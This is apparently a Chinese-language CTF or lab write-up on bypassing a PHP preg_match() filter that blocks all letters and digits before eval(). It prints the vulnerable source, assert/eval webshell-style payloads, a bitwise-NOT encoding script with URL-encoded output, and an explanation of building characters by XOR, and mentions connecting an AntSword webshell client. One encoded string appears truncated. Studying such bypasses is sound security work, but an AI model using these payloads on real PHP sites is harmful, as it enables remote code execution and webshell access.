取反、异或绕过preg_match()过滤所有字母数字

捞到代码，在本地搭建，源码（rce.php）：

 <?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

?>

在研究bypass之前，先研究一个问题：eval(变量)

 

test.php:

<?php
$a=$_REQUEST[8];
@eval(8);
?>

想通过传参让页面输出phpinfo的界面，第一种方法就是?8=phpinfo();  ps:记得加分号

我尝试了以下?8=$_REQUEST[6];&6=phpinfo() 是不行的，在网上看过一篇WP说eval是PHP的语法组成的一员，所以eval()括号里一定是一个php预定义语法，不能直接是一个变量，说明eval(变量)的时候，变量不能直接写$_REQUEST[8]

而是要写成菜刀流量的形式：

?8=assert(eval($_REQUEST[8]))&8=phpinfo();                  ?8=assert(eval(phpinfo();))

assert()执行单行代码，eval()就是单行代码，经测试payload这样写是可行的。

 

继续看bypass问题：

法一：取反绕过：

<?php
echo urlencode(~'assert');
echo urlencode(~'eval($_REQUEST[8])');?>

结果：
%9E%8C%8C%9A%8D%8B
%9A%89%9E%93%D7%DB%A0%AD%BA%AE%AA%BA%AC%AB%A4%C7%A2%D

试了一下，连接蚁剑是可以的，但是我的蚁剑访问不了远程仓库不知道是什么情况。

 

法2：异或绕过:

在PHP中两个字符串异或之后，得到的还是一个字符串。
例如：异或 ? 和 ~ 之后得到的是 A

字符：?         ASCII码：63           二进制：  00‭11 1111‬
字符：~         ASCII码：126          二进制：  0111 1110‬
异或规则：
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
上述两个字符异或得到 二进制：  0100 0001
该二进制的十进制也就是：65
对应的ASCII码是：A

 

本题preg_replace()过滤了所有英文字母和数字，但是ASCII码中还有很多字母数字之外的字符，利用这些字符进行异或可以得到我们想要的字符

PS：取ASCII表种非字母数字的其他字符，要注意有些字符可能会影响整个语句执行，所以要去掉如：反引号，单引号